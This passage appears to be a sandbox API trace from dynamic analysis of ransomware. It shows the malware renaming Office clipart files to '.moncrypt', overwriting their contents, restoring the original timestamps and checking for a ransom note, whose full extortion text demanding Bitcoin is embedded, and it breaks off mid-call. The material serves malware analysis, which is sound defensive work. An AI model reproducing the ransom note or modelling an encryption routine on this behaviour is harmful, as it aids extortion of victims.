[0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.876] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01218_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.876] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.876] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.876] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF", dwFileAttributes=0x20) returned 1 [0059.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.moncrypt")) returned 1 [0059.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.878] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.878] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xbc4 [0059.878] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.878] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xbc4, lpOverlapped=0x0) returned 1 [0059.879] GlobalLock (hMem=0x440004) returned 0x550170 [0059.879] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.879] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.879] GlobalUnlock (hMem=0x440004) returned 0 [0059.880] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.880] GlobalUnlock (hMem=0x44000c) returned 0 [0059.880] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.880] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.880] GlobalUnlock (hMem=0x44000c) returned 0 [0059.880] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.880] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0xbe0, lpOverlapped=0x0) returned 1 [0059.880] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.880] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.891] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.892] CloseHandle (hObject=0x188) returned 1 [0059.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.892] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.893] CloseHandle (hObject=0x188) returned 1 [0059.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.893] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.893] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.893] GlobalUnlock (hMem=0x44000c) returned 0 [0059.893] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.893] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.893] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.893] GlobalUnlock (hMem=0x44000c) returned 0 [0059.893] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.893] GlobalUnlock (hMem=0x440004) returned 0 [0059.893] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.894] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.894] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.894] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.894] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.894] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.894] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.894] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.894] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.894] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.894] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.894] CloseHandle (hObject=0x188) returned 1 [0059.895] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0059.895] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.895] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.895] GlobalLock (hMem=0x440004) returned 0x550170 [0059.895] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.895] GlobalUnlock (hMem=0x440004) returned 0 [0059.895] GlobalLock (hMem=0x440004) returned 0x550170 [0059.895] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.895] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.895] GlobalUnlock (hMem=0x440004) returned 0 [0059.895] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.895] GlobalUnlock (hMem=0x44000c) returned 0 [0059.895] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.895] CharLowerBuffW (in: lpsz="AN01251_.WMF", cchLength=0xc | out: lpsz="an01251_.wmf") returned 0xc [0059.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.896] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01251_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.896] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.896] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.896] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF", dwFileAttributes=0x20) returned 1 [0059.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.moncrypt")) returned 1 [0059.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.898] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.898] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xac4 [0059.898] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.898] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xac4, lpOverlapped=0x0) returned 1 [0059.964] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.964] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.964] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.964] GlobalUnlock (hMem=0x44000c) returned 0 [0059.964] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.964] GlobalUnlock (hMem=0x440004) returned 0 [0059.964] GlobalLock (hMem=0x440004) returned 0x550170 [0059.964] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.964] GlobalUnlock (hMem=0x440004) returned 0 [0059.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.976] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.976] CloseHandle (hObject=0x188) returned 1 [0059.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.977] GlobalLock (hMem=0x440004) returned 0x550170 [0059.977] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.977] GlobalUnlock (hMem=0x440004) returned 0 [0059.977] GlobalLock (hMem=0x440004) returned 0x550170 [0059.977] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.977] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.977] GlobalUnlock (hMem=0x440004) returned 0 [0059.977] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.977] GlobalUnlock (hMem=0x44000c) returned 0 [0059.977] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", 